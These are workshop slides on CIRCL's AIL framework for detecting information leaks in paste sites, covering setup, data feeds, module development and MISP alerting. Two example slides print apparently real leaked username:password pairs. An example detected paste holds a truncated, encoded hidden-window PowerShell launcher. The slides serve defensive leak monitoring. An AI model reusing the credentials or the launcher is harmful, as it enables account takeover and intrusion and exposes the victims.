AIL Framework for Analysis of Information Leaks
Workshop - A generic analysis information leak open source software

Sami Mokaddem
sami.mokaddem@circl.lu

Aurélien Thirion
info@circl.lu

July 2, 2018
Objectives of the workshop
Our objectives of the workshop

• Demonstrate why data-analysis is critical in information security
• Explain challenges and the design of the AIL framework
• Learn how to install and start AIL
• Learn how to properly feed AIL with custom data
• Learn how to manage current modules
• Learn how to create new modules
• Practical part
Sources of leaks
Sources of leaks: Paste monitoring

• Example: http://pastebin.com/
  ◦ Easily storing and sharing text online
  ◦ Used by programmers and legitimate users
    → Source code & information about configurations

• Abused by attackers to store:
  ◦ List of vulnerable/compromised sites
  ◦ Software vulnerabilities (e.g. exploits)
  ◦ Database dumps
    → User data
    → Credentials
    → Credit card details
  ◦ More and more...
Sources of leaks: Paste monitoring

• Example: http://pastebin.com/
  ○ Easily storing and sharing text online
  ○ Used by programmers and legitimate users
    → Source code & information about configurations

• Abused by attackers to store:
  ○ List of vulnerable/compromised sites
  ○ Software vulnerabilities (e.g. exploits)
  ○ Database dumps
    → User data
    → Credentials
    → Credit card details
  ○ More and more ...
Examples of pastes
Sources of leaks: Others

- Mistakes from users
  - https://github.com/search?q=remove_password&type=Commits&ref=searchresults

Repositories 135  Code 1K  Commits 322K  Issues  Wikis  Users

322,302 commit results

- Make remove_password actually work
  - javitonino committed to freakful/cartodb on 1 Mar

- remove password
  - wenlei committed to cjw1990/wap_demo 2 days ago

- remove password
  - yeiune committed to yeiune/dockerfile-sshd 3 days ago
Sources of leaks: Others

- Mistakes from users
  - https://github.com/search?q=remove_password&type=Commits&ref=searchresults
Are leaks frequent?

Yes!

And it’s important to detect them.
Paste monitoring at CIRCL: Statistics

- Monitored paste sites: 27
  - pastebin.com
  - ideone.com
  - ...

Table: Statistics for 2016

<table>
<thead>
<tr>
<th>Pastes 2016</th>
<th>Monthly average</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fetched pastes</td>
<td>1,547,094</td>
<td>18,565,124</td>
</tr>
<tr>
<td>Security related (TR-46)</td>
<td>21</td>
<td>252</td>
</tr>
<tr>
<td>Incidents &amp; investigations</td>
<td>54</td>
<td>649</td>
</tr>
</tbody>
</table>
AIL Framework
From a requirement to a solution: AIL Framework

History:

• AIL initially started as an internship project (2014) to evaluate the feasibility to automate the analysis of (un)structured information to find leaks.

• In 2018, AIL framework is an open source software in Python. The software is actively used (and maintained) by CIRCL.
AIL Framework: A framework for Analysis of Information Leaks

“AIL is a modular framework to analyse potential information leaks from unstructured data sources like pastes from Pastebin.”
AIL Framework: Current capabilities

- Extending AIL to add a new **analysis module** can be done in 50 lines of Python.
- The framework **supports multi-processors/cores by default**. Any analysis module can be started multiple times to support faster processing during peak times or bulk import.
- **Multiple** concurrent **data input**
AIL Framework: Current features

• Extracting credit cards numbers, credentials, phone numbers, ...
• Extracting and validating potential hostnames
• Keeps track of duplicates
• Submission to threat sharing and incident response platform (MISP and TheHive)
• Full-text indexer to index unstructured information
• Tagging for classification and searches
• Terms, sets and regex tracking and occurrences
• Archives, files and raw submission from the UI
• Sentiment/Mood analyser for incoming data
• And many more
Example: Following a notification (0) - Dashboard
Example: Following a notification (1) - Searching

<table>
<thead>
<tr>
<th>#</th>
<th>Path</th>
<th>Date</th>
<th>Size (Kb)</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>/home/adulau/git/AiL-framework/PASTES/archive/pastebin.com_pro/2017/01/20/B35nGGBp.gz</td>
<td>2017/01/20</td>
<td>5.8</td>
<td></td>
</tr>
</tbody>
</table>

Showing 1 to 1 of 1 entries

Totalling 0 results related to paste content
Example: Following a notification (2) - Metadata

<table>
<thead>
<tr>
<th>Date</th>
<th>Source</th>
<th>Encoding</th>
<th>Language</th>
<th>Size (Kb)</th>
<th>Mime</th>
<th>Number of lines</th>
<th>Max line length</th>
</tr>
</thead>
<tbody>
<tr>
<td>20/01/2017</td>
<td>pastebin.com_pro</td>
<td>text/plain</td>
<td>(&quot;en&quot;, 1.0)</td>
<td>5.8</td>
<td>text/plain</td>
<td>510</td>
<td>336</td>
</tr>
</tbody>
</table>

**Duplicate list:**

<table>
<thead>
<tr>
<th>Hash type</th>
<th>Paste info</th>
<th>Date</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>tlsh</td>
<td>Similarity: 93%</td>
<td>2017-01-12</td>
<td>/home/aculu/g/AIL-framework/PASTES/archive/pastebin.com_pro/2017/01/12/WeizLQUx.gz</td>
</tr>
<tr>
<td>tlsh</td>
<td>Similarity: 93%</td>
<td>2017-01-17</td>
<td>/home/aculu/g/AIL-framework/PASTES/archive/pastebin.com_pro/2017/01/17/Xqb62vU.gz</td>
</tr>
<tr>
<td>tlsh</td>
<td>Similarity: 93%</td>
<td>2017-01-10</td>
<td>/home/aculu/g/AIL-framework/PASTES/archive/pastebin.com_pro/2017/01/10/y/y/e4UM.gz</td>
</tr>
<tr>
<td>tlsh</td>
<td>Similarity: 92%</td>
<td>2017-01-14</td>
<td>/home/aculu/g/AIL-framework/PASTES/archive/pastebin.com_pro/2017/01/14/G7AB7q1m.gz</td>
</tr>
<tr>
<td>tlsh</td>
<td>Similarity: 92%</td>
<td>No date available</td>
<td>/home/aculu/g/AIL-framework/PASTES/archive/pastebin.com_pro/2016/12/31/CpDdkKbU.gz</td>
</tr>
</tbody>
</table>
Example: Following a notification (3) - Browsing content

Content:

http://members2.mofosnetwork.com/access/login/
somosextremos:buddy1990
brazzers_glenn:cocklick
brazzers61:braves61

http://members.naughtyamerica.com/index.php?m=login
geribranston:3unc2352
Janhuss141290:310975
igelalliwant:1377zepl
pwillke99:mon22key
Bman1551:hockey

MoFos IKnowThatGirl PublicPickUps
http://members2.mofos.com
Chrismagg40884:logann40
brando1:z2brando1
aacoen:1q2w3e4r
1rstunkle23:my8se1F

BraZZers
http://ma.brazzers.com
gcjensen:gcj21pva
skycsc17:rbc00d

#______________________________#
> Get Daily Update Fresh Porn Password Here <<
=> http://www.erg.io/4mF1
Example: Following a notification (3) - Browsing content

Content:

Over 50000+ custom hacked xxx passwords by us! Thousands of free xxx passwords to the hottest paysites!

*******************************************************************************
->] Get Fresh New Premium XXX Site Password Here [<

=> http://www.erg.io/4mF1

*******************************************************************************

http://ddfnetwork.com/home.html
eu172936:MC5vKh
UecW6z5:159X0$l!r#5K78FwU

http://pornxn.stiffia.com/user/login
foldwWek8930:R0bluJ8XtB
dabudka:17891789
brajits:brajits1

http://members.pornstarplatinum.com/sblogin/login.php/
gigiriveracom:xxxjay
jayx123:xxxjay69

http://members.vividceleb.com/
Rufio99:fairhaven
ScHiFRvi:192691
Chaos84:HOLE5244
Ripto705:blode7
Dom18
Setting up the framework
Setting up AIL-Framework from source or virtual machine

### Setting up AIL-Framework from source

1. `git clone https://github.com/CIRCL/AIL-framework.git`
2. `cd AIL-framework`
3. `./installing_deps.sh`
4. `cd var/www/`
5. `./update_thirdparty.sh`

### Using the virtual machine:

1. Download [https://www.circl.lu/assets/files/ail-training/AIL_v@4986352.ova](https://www.circl.lu/assets/files/ail-training/AIL_v@4986352.ova)
2. Start virtualbox
3. File → import appliance → select AIL_v@4986352.ova
4. (for now) Prevent the automatic launch and `git pull` the changes
AIL global architecture: Data streaming between module
AIL global architecture: Data streaming between module (Credential example)
Starting the framework
Running your own instance from source

Make sure that ZMQ.Global.address =
tcp://crf.circl.lu:5556,tcp://127.0.0.1:5556 in bin/package/config.cfg

Accessing the environment and starting AIL

```bash
# Activate the virtualenv
. ./AILENV/bin/activate

# Launch the system
cd bin/
./LAUNCH
   # check options 1->5

# Start web interface
cd var/www/
./Flask_server.py
   # -> Browse http://localhost:7000/
```
Running your own instance using the virtual machine

Login and passwords:

1. **Web interface (default network settings):**
   - http://192.168.56.51:7000/

2. **Shell/SSH:**
   - a1/Password1234
Feeding the framework
Feeding AIL

There are different ways to feed AIL with data:

1. Be a partner with CIRCL and ask to get access to our feed info@circl.lu
2. Setup pystemon and use the custom feeder
   - pystemon will collect pastes for you
3. Feed your own data using the import_dir.py script
4. Feed your own file/text using the UI (/PasteSubmit/)
Feeding AIL

There are different ways to feed AIL with data:

1. CIRCL partners and ask to access our feed info@circl.lu
   ▷ You already have access

2. Setup `pystemon` and use the custom feeder
   ○ `pystemon` will collect pastes for you

3. Feed your own file/text using the UI (/PasteSubmit/)

4. Feed your own data using the import_dir.py script
Plug-in AIL to the CIRCL feed

You can freely access the CIRCL feed during this workshop!

- In the file bin/package/config.cfg,
- Set ZMQ_Global->address to tcp://crf.circl.lu:5556
Via the UI (1)
Via the UI (2)

Submitting Pastes ...

Files Submitted 1/1

Submitted pastes
/home/all/git/AIL-framework/PASTES/submitted/2018/06/29/02071570-b46b4-bb53-37c589b8925.gz
Feeding AIL with your own data - import_dir.py (1)

/*\ 2 requirements:

1. Data to be fed must have the path hierarchy as the following:
   1.1 year/month/day/(textfile/gzfile)
   1.2 This is due to the inner representation of paste in AIL

2. Each file to be fed must be of a raisonable size:
   2.1 $\sim$ 3 Mb is already large
   2.2 This is because some modules are doing regex matching
   2.3 If you want to feed a large file, better split it in multiple ones
1. Check your local configuration bin/package/config.cfg
   ○ In the file bin/package/config.cfg,
   ○ Add 127.0.0.1:5556 in ZMQ_Global
   ○ (should already be set by default)
1. Check your local configuration bin/package/config.cfg
   - In the file bin/package/config.cfg,
   - Add 127.0.0.1:5556 in ZMQ_Global
   - (should already be set by default)

2. Launch import_dir.py with the directory you want to import
   - import_dir.py -d dir_path
Feeding AIL with your own data - import_dir.py (2)

1. Check your local configuration bin/package/config.cfg
   - In the file bin/package/config.cfg,
   - Add 127.0.0.1:5556 in ZMQ_Global
   - (should already be set by default)

2. Launch import_dir.py with the directory you want to import
   - import_dir.py -d dir_path

3. Watch your data being fed to AIL
Creating new features
Developing new features: Plug-in a module in the system

Choose where to locate your module in the data flow:

Then, modify bin/package/modules.cfg accordingly
import time
from pubsublogger import publisher
from Helper import Process

if __name__ == '__main__':
    # Port of the redis instance used by pubsublogger
    publisher.port = 6380
    # Script is the default channel used for the modules.
    publisher.channel = 'Script'
    # Section name in bin/packages/modules.cfg
    config_section = '<section name>
    # Setup the I/O queues
    p = Process(config_section)
    # Sent to the logging a description of the module
    publisher.info("<description of the module>")
    # Endless loop getting messages from the input queue
    while True:
        # Get one message from the input queue
        message = p.get_from_set()
        if message is None:
            publisher.debug("{} queue is empty, waiting".format(config_section))
            time.sleep(1)
            continue
        # Do something with the message from the queue
        something_has_been_done = do_something(message)
AIL - Add your own web interface

1. Launch `var/www/create_new_web_module.py`
2. Enter the module’s name
3. A template and flask skeleton has been created for your new webpage in `var/www/modules/`
4. You can start **coding** server-side in:
   
   `var/www/modules/your_module_name/Flask_your_module_name.py`

5. You can start **coding** client-side in:
   
   `var/www/modules/your_module_name/templates/your_module_name.html`

   `var/www/modules/your_module_name/templates/header_your_module_name.html`
Case study: Push alert to MISP
Push alert to MISP

**Goal:** push tags to MISP.
Push alert to MISP

1. Use infoleak taxonomie
2. Add your own tags
3. Create a event on a paste
Case study: Finding the best place in the system

Best place to put it?
Case study: Finding the best place in the system

Best place to put it?
Case study: Finding the best place in the system

Best place to put it?
Flask server.py

```python
[...]  
# ========= INITIAL tags auto export ==========

r_serv_db = redis.StrictRedis(  
    host=cfg.get("ARDB_DB", "host"),  
    port=cfg.getint("ARDB_DB", "port"),  
    db=cfg.getint("ARDB_DB", "db"),  
    decode_responses=True)

infoleak_tags = taxonomies.get('infoleak').machinetags()  
infoleak_automatic_tags = []  
for tag in taxonomies.get('infoleak').machinetags():  
    if tag.split('=')[0][0] == 'infoleak:automatic-detection':  
        r_serv_db.sadd('list_export_tags', tag)

r_serv_db.sadd('list_export_tags', 'infoleak:submission="manual"')  
r_serv_db.sadd('list_export_tags', '<your_tag>')
```
Auto Push Tags

MISP Auto Event Creation

The hive auto export

Metadata:

<table>
<thead>
<tr>
<th>Whitelist</th>
<th>Tag</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;api-key&quot;</td>
</tr>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;aws-key&quot;</td>
</tr>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;base64&quot;</td>
</tr>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;bitcoin-address&quot;</td>
</tr>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;bitcoin-private-key&quot;</td>
</tr>
</tbody>
</table>

Showing 1 to 5 of 25 entries

Previous 1 2 3 4 5

Metadata:

<table>
<thead>
<tr>
<th>Whitelist</th>
<th>Tag</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;api-key&quot;</td>
</tr>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;aws-key&quot;</td>
</tr>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;base64&quot;</td>
</tr>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;bitcoin-address&quot;</td>
</tr>
<tr>
<td></td>
<td>infolek:automatic-detection=&quot;bitcoin-private-key&quot;</td>
</tr>
</tbody>
</table>

Showing 1 to 5 of 25 entries

Previous 1 2 3 4 5

Next
Create a event

Duplicate list:

Hash type | Paste Info | Date | Path
---|---|---|---

Showing 1 to 1 of 1 entries

Content:

```
powershell -noP -sta -w 1 -enc JABHAFIATvBVAAABvAEwAqBDAHkAUwBFAPQAVABJAg4ARwBzACAPQAqAgASFsAcgBFAYXQAuAEAEuwBTAgUBqBCAGweAeQAuAMEcA2Q8AFQAeQ8wAGUAkAAAnAF
```
Create a event
Practical part
Practical part: Pick your choice

1. Improve module keys.py to support other type of keys (ssh, ...)
   ◦ https://github.com/veorq/blueflower/blob/master/blueflower/constants.py
2. Graph database on Credential.py
   ◦ Top used passwords, most compromised user, ...
3. Webpage scrapper
   ◦ Download html from URL found in pastes
   ◦ Re-inject html as paste in AIL
4. Improvement of Phone.py
   ◦ Way to much false positive as of now. Exploring new ways to validate phone numbers could be interesting
5. Your custom feature
Contribution rules
How to contribute

ONE DOES NOT SIMPLY

MAKE NEW CONTENT WITHOUT CONTRIBUTING
How to contribute

• Feel free to fork the code, play with it, make some patches or add additional analysis modules.
How to contribute

• Feel free to fork the code, play with it, make some patches or add additional analysis modules.
• Feel free to make a pull request for your contribution
How to contribute

- Feel free to fork the code, play with it, make some patches or add additional analysis modules.
- Feel free to make a pull request for your contribution
- That’s it!

〈(  ^.^)〉
Final words

• Building AIL helped us to find additional leaks which cannot be found using manual analysis and **improve the time to detect duplicate/recycled leaks.**

→ Therefore quicker response time to assist and/or inform proactively affected constituents.
Annexes
Managing the framework
Managing AIL: Old fashion way

Access the script screen

1. `screen -r Script`

<table>
<thead>
<tr>
<th>Shortcut</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>C-a d</td>
<td>detach screen</td>
</tr>
<tr>
<td>C-a c</td>
<td>Create new window</td>
</tr>
<tr>
<td>C-a n</td>
<td>next window screen</td>
</tr>
<tr>
<td>C-a p</td>
<td>previous window screen</td>
</tr>
</tbody>
</table>
Managing your modules: Using the helper
AIL ecosystem: Technologies used

**Programming language:** python3

**Databases:** Redis and ARDB

**Server:** Flask

**Data message passing:** ZMQ and Redis Publisher/Subscriber
AIL global architecture

Redis PubSub 1: port 6380, channel queuing
Redis PubSub 2: port 6380, channel script

![AIL Global Architecture Diagram]

- **Pystemon**
- **import_dir.py**
- **ZMQ**
- **AIL Mixer**
- **Redis set 1**
- **Module_\text{x}**
- **Module_\text{x}**
- **Module_\text{y}**
- **Module_\text{z}**
- **Redis PubSub**
- **Flask server**
Data feeder: Gathering pastes with pystemon

**Pystemon global architecture**

Redis PubSub 1: port 6380, channel queuing
Redis PubSub 2: port 6380, channel script
Message consuming

\[ \text{Module}_x \rightarrow \text{Redis set} \rightarrow \text{Module}_y \rightarrow \text{Module}_y \]

→ No message lost nor double processing
→ Multiprocessing!